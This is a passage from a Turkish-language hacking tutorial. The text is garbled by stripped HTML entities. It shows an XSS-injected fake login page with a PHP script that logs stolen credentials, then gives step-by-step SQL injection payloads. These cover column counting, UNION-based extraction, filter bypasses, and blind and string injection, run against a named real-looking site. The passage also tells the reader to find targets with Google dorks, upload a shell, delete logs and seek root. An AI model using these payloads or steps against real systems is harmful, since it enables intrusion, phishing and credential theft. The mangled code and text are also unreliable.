[Username]= admin UserİnfoCookie[Password]= mahserat

Evet goumlruumllduumlğuuml gibi kullanıcı adı admin şifresi de mahserat mışBu şekilde Adminin BilgilerinedeErişmiş olduk

10-Cross Site Scripting Accedilığı Olan Bir Siteye Fake Login Sayfası Bırakmak

Son olarak XSS Accedilığı bulduğumuz bir siteye Fake bir Login sayfası bırakacağız

Accedilığı bulduğumuz link wwwsitecomindexphpid= olduğunu farz edelimBuraya HTML kodlarıyla birLogin Kısmı oluşturucağız

wwwsitecomindexphpid= gtlthmtlgtltheadgtltmeta content=texthtmlcharset=ISO-8859-1http-equiv=content-type gtlttitlegtlttitlegtltheadgtltbOdygtltdiv style=text-aling

centergtltform method=POST action=fakesayfaphp name=formgtFake Login ltbrgtltbrgtKullanıcıadıltbrgtltinput type=text value= gtltbrgtSifreltbrgt ltinput name=Pass type=password

gtltbrgtltbrgtltinput name=valid value=Gonder type=submit gtltbrgtltformgtltdivgtltbOdygtlthtmlgt

Bu Şekilde bir HTML Kodu enjekte ettik siteyeFake bir Login kısmı uumlrettikfakesayfaphp dosyasınadikkat edelim arkadaşlar

fakesayfaphp

ltphp

$login = $_POST[rsquologinrsquo]

$password= $_POST[rsquoPasswordrsquo]

$open = fopen(rsquologhtmrsquo rsquoa+rsquo)

fputs($open rsquoLoginrsquo $login rsquoltbrgtrsquo rsquo

Password rsquo $password rsquoltbrgtrsquo rsquoltbrgtrsquo)

gt

fakesayfaphp dosyası loghtm dosyası oluşturuyorLoglarımızı tutuyor

Evet arkadaşlar artık XSS lsquoi ayrıntısına kadar oumlğrendiniz

SQL İnjection1- SQL İnjection Nedir

SQL (Structured Query Language)

SQL İnjection duumlnya uumlzerinde en ccedilok ilgi goumlrev Web Uygulama zaafiyetidirSitelerdeki SQLveritabanına odaklı bir saldırı ccedileşididirKaba tabirle SQL veritabanının ccedilalıştıracağı SQL komutlarıylaSQL İnjection zaafiyeti bulunan bir sitedeki veri geccedilişini kullanarak kendi mevfaatlerimiz ccedilerccedilevesindehedef veriyi ccedilalmak iccedilin kullanılır

2- SQL İnjectionrsquoun Mantığı Nedir

Deminde bahsettiğim gibi SQL Veritabanı odaklı bir zaafiyet olduğu iccedilin direk veritabanıyla ilgilisaldırılar yapılırYani bize gerekli olan biraz SQL Komutu bilmektirAkılda kalıcılık accedilısından komik biroumlrnek vereyim

Bir HEDİYE kutusu varO hediye kutusunun iccedilerisinde hediyenin olduğunu duumlşuumlnelimKutuyu accediltınızve baktınız ki iccedilerisinde bir kutu daha varOnu da accediltınız onun iccedilerisinde de bir kutu var onu da accediltıktansonra son kutumuza geliyoruzO kutunun iccedilerisinde hediye yani hedef verimiz mevcuttur )

İlk kutuyu tablo olarak İkinci kutumuzu tablo iccedilerisindeki kolon olarak Uumlccediluumlncuuml kutumuzun iccedilerisindekihediyeyi de hedef veri olarak goumlrebilirizYani iccedil iccedile geccedilmiş bir yapı olarak hayal edebiliriz

3- Temel SQL Komutlarını Tanıyalım

SQL İnjection saldırısında bulunurken ne kadar SQL Komutunu tanıyorsanız o kadar iyidirCcediluumlnkuumlSQL İnjection saldırısını yaparken SQL Komutlarını kullanırız

SELECT - Veri seccedilmek iccedilin

CREATE - Tablo yaratmak iccedilin

INSERT - Tablo eklemesi yapmak iccedilin

UPDATE - Veri guumlncelleme

DELETE - Veri silmek

DROP - Tablo silmek

FROM - (- den - dan beri )

WHERE - Nereden neresi nerede

Kısacak bu komutlarla SQL İnjection saldırısını geccedilekleştireceğizBunları bilmekte fayda var

4- SQL İnjection ile Neler Yapılabilir

SQL İnjection saldırısı ile veri silebilir ekleyebilir değiştirebilirizBunları yapmak iccedilin sistemde birkaccediliznimizin olması gerekiyorYani sistem bize veri silme ekleme yetkisi vermiyorsa biz zaten bunlarıyapamayızSQL İnjection saldırısı ccediloğunlukla hedef sistemin youmlnetici şifresini ele geccedilirerek sistemeyoumlnetici gibi giriş yapıp sistemi hacklemek iccedilin kullanılırAma ne yazık ki SQL İnjection saldırısı ileyapabileceklerimizin sadece bunlarla sınırlı olmadığını uumllkemizdeki ccediloğu kimse bilmiyorGeccedilenlerde biryerde okumuştum onu da sizlerle paylaşayımYabancı uumllkede bir Hacker buumlyuumlk bir sisteminde SQLİnjection accedilığı bulmuşDaha sonra veritabanın da ki tuumlm kredi kartı bilgilerini ccedilalmışToplam olarak kaccedilkredi kartı ccedilaldığını bilmiyorum ama ccedilok yuumlkluuml miktarda mevla kaldırmışAma biz tabii ki Dinimizingereğince haram para ve kazanccedilta goumlzuumlmuumlz yokHaram olan bir kazancın bize yararıdokunmayacağını biliriz

5- SQL İnjection Accedilığı Nerelerde Bulunabilir Belirli Bir Dorkrsquou Varmıdır

SQL İnjection ccedilok geniş kapsamlı ve ccedilok tehlikeli bir accedilıktırTuumlm sistemlerde rastlanabilen bir accedilıktır

SQL İnjection saldırılarının id= değerlerinin bulunduğu sitelerde Search (Arama) kutucuklarındaformlarda vs yerlerde bulunabilirYani veri alışverişinin yapıldığı her yerde bulunabilirSize başlangıccediliccedilin bir Dork vereceğimDorkrsquou Googlersquoda arattığınızda karşınıza bir suumlruuml site gelecekBu sitelerde iddeğerinin bulunduğu yerlerde SQL İnjection accedilığı araması yapabilirsiniz

Dork inurlrdquophpid=rdquo sitesy -gt bu dorkta şunu dedik(Suriye) Sy sitelerinde phpid= değerininbulunduğu siteleri goumlsterSQL İnjection saldırısına aşağıda değineceğiz

6- Ccedileşitli Yerlerde SQL İnjection Saldırısı Yapmak

Yukarıda da bahsettiğim gibi SQL İnjection saldırısını birccedilok yerde yapabilirizŞimdi bu accedilığı iyice birtanıyalım

a-) SQL İnjection Accedilığı Nasıl Tespit Edilir (Tipik SQL İnjection Hatası)

Bir Web Site duumlşuumlnuumln wwwsitemcomsayfaphpid=1 şeklinde

Burada SQL Accedilığının olup olmadığını id= değerinin sol tarafındaki değerin sonuna veya değerinbaşına lsquo veya lsquoa koyarak anlayabilirizYani linkimizin son şekli

wwwsitemcomsayfaphpid=1rsquo veya wwwsitemcomsayfaphpid=1rsquoa şeklinde oluyor

Eee tamam ben aynı şekilde yaptım accedilık olduğunu nasıl anlayacağım

SQL Accedilıklarını Tipik olarak bize verdiği hatadan anlarızYani hatalar SQL İnjection ccedileşitlerine goumlredeğişkenlik goumlsterebiliyorBiz şuanda normal bir SQL Accedilığının nasıl bulanacağına yoğunlaşalım

Oumlrnek bir SQL İnjection hatası

Evet lsquo koyduktan sonra bu hatayı alıyorsak burada SQL İnjection accedilığı olduğunu kavrıyoruz

b-) Search Kutularında SQL İnject Accedilığı Aramak

Search Arama kelimesinin ingilizce kavramıdırŞimdi sitelerdeki Search kutularında SQL Accedilığıarayacağız

Search kutucuğu goumlrduumlğuumlnuumlz yerlere lsquo - lsquoa gibi işaretleri yapıp ara butonuna tıklıyoruzEğer ekrandatekrardan bir SQL İnjection hatası alıyorsanız Search dosyasında accedilık olduğunu anlıyoruz

c-) Kayıt Formlarında SQL İnject Accedilığı Aramak

Kayıt formlarının siteler iccedilin ccedilok tehlike arz eden kısımlar olduğundan bahsetmiştikYukarıda daXSS accedilığının nasıl aranacağında goumlrmuumlştuumlkHemen SQL Accedilığının nasıl aranacağına bakıyoruz

Evet goumlruumllduumlğuuml uumlzere tuumlm textrsquolere lsquoa yazılmışDaha sonra Goumlnder Butonu veya kayıt ol butonu varsatıkladığımızda bizim karşımıza tekrar SQL Hatası geliyorsa kayıt dosyasında accedilık olduğunu anlarız

d-) İD Değerinin Bulunduğu Sitelerde SQL İnject Accedilığı Aramak

Şimdi İD değerinin bulunduğu yerlerde SQL Accedilığı aramayı goumlreceğizİD değeri değişkenlikgoumlsterebilirSiteyi kodlayan Coder kardeşimiz Veri alışverişinde İD değeri yerine cat= s= i= q= vsdeğerler koyabilirYani bu Coder kardeşimizin elinde olan bişeydirBiraz farklılık accedilısından ben şuan İDdeğeri yerine cat= değerini kullanarak SQL Accedilığı arayacağım

Evet goumlruumllduumlğuuml uumlzere cat= ile alınmış bir veriVeri numarası 9 muş

Goumlrduumlğuuml gibi değerde bir accedilık soumlz konusu

e-) Ziyaretccedili Defterinde SQL İnjection Accedilığı Aramak

Ziyaretccedili Defterleri Hackerlar iccedilin bir nimet sayılabilir(Guumlvenliğin sağlanmaması durumunda)

Şimdi bir ziyaretccedili defterinde SQL Accedilığı arayalımZiyaretccedili Defterinin tuumlm text kutularına lsquo veya lsquoaişaretlerinden birini koyuyoruz

ŞeklindeGoumlnder butonuna bastığınızda eğer bir SQL Hatasıyla karşılaştıysanız burada bir SQLAccedilığının olduğunu anlarsınız

7-Saldırı Anı(SQL Accedilığının Tespiti)

Bir Web Sayfası duumlşuumlnuumln

wwwsayfamcomdosyaphpid=2 olsunBurada accedilık tespiti yapalım hemen

wwwsayfamcomdosyaphpid=2rsquo Koyduk hata aldıkYani bir SQL Accedilığı soumlz konusuŞimdi SQLAccedilığını aldık ama ne yapacağımızı bilmiyoruz Yapacağımız işlem ccedilok basit

8-Saldırı Anı2(Kolon Sayısı Oumlğrenmek Kolon Sayısı Nedir Neye Yarar)

Evet accedilık tespitini yaptıkŞimdi kolon sayısını bulacağızAma oumlncesinde Kolon sayısı nedir neye yararbir goumlz atalım

Veritabanındaki sutuumlnlara kolon (column) denirİccedilerisinde verileri barındırırPek accedilıklamaya gerekyokSQL Programlama dilini oumlğrenecek arkadaşlar ayrıntıları zaten oumlğrenecektirler

Evet accedilığın olduğu sitemiz wwwsayfamcomdosyaphpid=2rsquo idiŞimdi ORDER BY Komutu ileKolon sayısını oumlğrenelim

wwwsayfamcomdosyaphpid=2+order+by+1 yapıyoruzSayfa eski haline geri doumlnduuml

wwwsayfamcomdosyaphpid=2+order+by+10 yapıyoruzEkrana

Şeklinde bir hata geldiYani burada bize kolon sayısının 10 lsquodan kuumlccediluumlk olduğunu soumlyliyorHemen birbir aşağı iniyoruz

wwwsayfamcomdosyaphpid=2+order+by+9 yaptıkSayfa tekrar aynı hatayı verdi

wwwsayfamcomdosyaphpid=2+order+by+8 yapıyoruz sayfa duumlzeldiYani Kolon sayısı 8rsquomiş

Dipnot Eğer order+by+8 yaptığınızda ekrana birşey yansımıyor veya sayfa duumlzelmiyorsa link sonuna-- veya --x +-- şeklinde işaretler koyarak net sonuccedillar alabilirsiniz

9-Saldırı Anı3(Ekrana Kolon Sayısını Yansıtma - Aksi Halde Bypass)

Evet kolon sayımızı oumlğrendikKolon sayımız 8rsquomişŞimdi ekrana kolonları yansıtacağızDaha sonraekrana yansıyan kolonlardan işlemlerimize devam edeceğizKolon sayılarını yansıtma işlemini UNIONSELECT komutları ile yapıyoruzHemen başlayalım

Oumlrnek wwwsayfamcomsayfaphpid=2+union+select+ kolon sayılarımız-- şeklinde hemenyapalım

wwwsayfamcomsayfaphpid=2+union+select+12345678-- yazdıkSayfamıza 12345678sayılarından hangileri yansıdıysa o sayılardan birini seccediliyoruz ve o sayı ile devam edeğiz

-Bypass Yukarıda ekrana kolon sayılarını yansıtmıştıkEkrana kolonların yansımadığını farzedelimBurada devreye bypass giriyorBypassrsquoın net bir tanımı yokturAma bu şekilde saldırılaryaptığımızda bizim karşımıza ccedilıkan engelleri bazı yollarla aşmanın genel ismidir bypass

Şimdi wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde yazdık ekrana kolonyansımadıBypassrsquoı devreye sokacaz hemen

wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde ifadesinikullanarak bypass ediyoruzBu şekilde genelde ekrana kolon sayısı yansırAma bununda faydaetmediği yerler oluyorO Vakit

wwwsayfamcomsayfaphpid=2+union+(select+12345678--) veyawwwsayfamcomsayfaphpid=-2+union+select+12345678-- yapıyoruzBu genelde faydaeder ama bunuda kabul etmediği zamanlarda şunları yapabiliriz

wwwsayfamcomsayfaphpid=-2+UnIon+SeLeCt+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678-- şekillerindede bu hatalarıaşmamız muumlmkuumlnduumlrBununla ilgili Web Guumlvenlik Accedilıkları boumlluumlmuumlnde yeterince konum mevcuttur

Şimdi bakalım ekrana yansıyan kolonlara OumlR 2 ve 7 sayıları yansımışBundan sonraki tuumlmişlemlerimizi bu 2 ve 7 sayıları uumlstuumlnden gerccedilekleştireceğizYani yansılan kolonlar uumlzerinden

10-Saldırı Anı4(Tablo İsimlerini Ccedilekmek - Aksi Halde Bypass)

Ekrana nasıyan 2 ve 7 kolonları uumlzerinden devam ediyoruz

Oumlnce Group_Concat Fonksiyonunu tanıyalım

Bu fonksiyon sorgumuz sitede elde ettiğimiz verileri birleştirmeye yarar Oumlrneğin veritabanındakullanıcı adı ve şifre iki ayrı kolonda tutuyorsak bu fonksiyon aracılığı ile birleştirip doumlnduumlrebilirizŞimdibiz kolon sayılarında 2 yi seccedilip 2 uumlzerinden işlem yapalım

wwwsayfamcomsayfaphpid=-2+union+select+1database()345678-- Şeklinde bir sorgugoumlnderdiğimizde sitemizdeki database (Veritabanı) ismini oumlgreniyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1version()345678-- Şeklinde bir sorguda isebize MySql Veritabanırsquonın Versiyonunu verirBunu version şeklindede sorgulayabilirsinizŞimditabloları ccedilekelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables--

Şeklinde bir sorgu goumlnderdikPeki biz burada ne dedik

table_name = Tablo isimleri

information_schema = MySql Veritabanındaki INFORMATİON_SCHEMA adlı veritabanındakitabloların kolonların isimlerini veriri

information_schematables = INFORMATİON_SCHEMA Adlı veritabanındaki tablo isimlerini bizeverir

information_schemacolumns = INFORMATİON_SCHEMA Adlı veritabanındaki kolon isimlerini bizeverir

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--

table_schema=database() = Bu sorguda bize sadece sitenin veritabanındaki tabloları vermesiniisteriz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--

Şeklinde bir sorgu goumlnderdiğimizde bize veritabanındaki tablo isimlerini verecektirBuradaki komutlarıiyi tanımanızı tavsiye ederim

Ekrana yansıyan tablo isimlerine bir bakalım

adminresimleradreslerhizmetler vs vs olsun

bize burada lazım olacak tabloyu seccediliyoruz admin

Şimdi biz bu komutu sorgu olarak siteye goumlnderdikAma ekrana tablo isimler yansımadı neyapacağız

Burada gene araya bypass giriyorŞimdi sorguda vurgulanan yer neresidir Tablo isimleri

Şimdi sorgudaki tablo isteklerinde bir değişiklik yapıyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(TaBlE_Name)345678+from+information_schemaTabLeS+where+TaBLeS_schema=database()--

Şeklinde değişikliğimizi yapuyoruzEkrana tablo isimlerimizin yansıdığını goumlreceksiniz

Bu Şekilde de yansımadığını farz edelimBurada database() fonksiyonunu hexleyelim (Hex birşifreleme tuumlruumlduumlrMozillarsquonın Hackbar Eklentisinde Hex hizmeti mevcuttur)

Hexlenecek isim database()

Hexlenmiş Hali 64617461626173652829

Yanlız şunu unutmamak gerekirHexlediğimiz tuumlm değerlerin başına 0x koymamız gerekirYani sonhali şudur 0x64617461626173652829 Şimdi tekrar ccedilekelim tablolarımızı

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(column_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=0x64617461626173652829--

Sorguyu goumlnderdiğimizde tabloların yansıdığını goumlreceksinizBu Hex taktiğini kolonlar uumlzerindedeyapabilirsiniz

11-Saldırı Anı5(Tablolardan Hedef Veriyi Ccedilekmek - Aksi Halde Bypass)

Evet tablo isimlerini ekrana yansıttık istediğimiz bir tabloyu seccediltikTablo ismimiz admindi

Şimdi tablo iccedilerisindeki sutuumlnları ccedilekelim bakalım ne varmış

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--

Sorguyu goumlnderdikEkrana UsernamePasswordEmailid Şeklinde sutuumlnlar yansıdıBize lazımolacak Sutuumlnları seccediliyoruzBen UsernamePassword Seccediliyorum ve Devam ediyoruz

Eğer biz bu şekilde sutuumlnları yansıtma esnasında sutunlar yansımasaydı ne yapabilirdik Buradatekrar bir bypass tekniği giriyor işin iccedilineBurada admin tablosunu hexleyelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--

Hexlenecek ad admin

Hexlenmiş hali 61646d696e

Kullanılır hali 0x61646d696e Sorguyu goumlnderiyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--

Goumlnderdik ve ekrana tekrar UsernamePasswordEmailid Sutuumlnlarının yansıdığını goumlruumlyoruz

Şimdi seccediltiğimiz UsernamePassword sutuumlnlarının iccedilerisindeki veriyi ccedilekelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(UsernamePassword)345678+from+0x61646d696e--

Sorguyu goumlnderdik

Username admin

Password bugres

Evet Adminrsquoin kullanıcı adı ve şifresi yansıdıPeki yansımaydı nasıl bir bypass tekniğikullanırdıkUsername Passwordrsquo Char Codersquolarına ccedileviricezMozillarsquonın Hackbar Eklentisindemevcuttur

UsernamePassword Char Code Ccedilevrilmiş Hali

StringfromCharCode(85 115 101 114 110 97 109 101 44 80 97 115 115 119 111 114 100)

Char Code halini group_concat() fonksiyonunun arasına yazıyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(StringfromCharCode(85 115 101114 110 97 109 101 44 80 97 115 115 119 111 114 100))345678+from+0x61646d69--

Şeklinde sorguyu goumlnderdiğimizde tekrardan yansıma işleminin yapıldığını goumlreceksiniz

12-Saldırı Anı6(Hedef Veriyi Kullanarak Sisteme Girmek)

Ccedilektiğimiz KAdı ve Şifreyi kullanarak sisteme youmlnetici olarak giriş yapacağız şimdi

Tekrar hatırlayalım

Uname admin

Pword bugres

Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız

Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim

Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır

Wordpress Admin panel yolu wp-admin

Joomla admin panel yolu administrator

Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz

Tahmine başlıyoruz

wwwsayfamcomadmin -gt Error

wwwsayfamcomyoneticiphp -gt Error

wwwsayfamcomadminphp -gt Error

wwwsayfamcomlog_inphp -gt Yess P

Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz

Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz

13-Saldırı Anı7(İzlerimizi Silmek)

Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor

14-Sonuccedil

Neler yaptık

Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor

15- Kaccedil Tuumlr SQL İnjection Vardır

a-) MySql İnjection

Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız

SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut

Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım

Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı

Bu accedilığın kullanımına geccedilelim

Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam

Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22

Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun

Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş

Şimdi kolonları yansıtalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz

Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz

Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--

Sorgusunun ardından ekrana tablersquolar yansıdı

Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )

Şimdi admin tablosundaki kolonlara bakalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

Ekrana userpassmail yansıdığını farz edelim

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--

User admin

Pass 123456

Email adminparoswinescom

b-) Ms Access SQL İnjection

Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml

SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr

Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo

Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir

Microsoft JET Database Engine error rsquo80040e14rsquo

Syntax error in string in query expression rsquoid = 10rsquo

sayfaasp line 7

Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz

wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti

wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata

Microsoft JET Database Engine error rsquo80040e14rsquo

The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression

sayfaasp line 7

Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek

wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış

Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım

wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza

Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani

wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--

ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir

wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--

Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur

User mahserat

Pass bugres

c-) Blind SQL İnjection

Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz

Gene bir hedef site duumlşuumlnuumln

wwwsayfacomdosyaphpid=2 olsun

Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz

wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor

and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz

Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz

wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım

wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş

Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325

burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir

Şimdi user sutuumlnunu ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572

Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim

and substring((select user from users)11)=0x(tahmin edilen users)

and substring((select pass from users)21)=0x(tahmin edilen users)

Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz

Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir

d-) String SQL İnjection

Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani

wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor

wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz

wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim

wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok

wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil

wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor

Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi

wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )

Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr

Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim

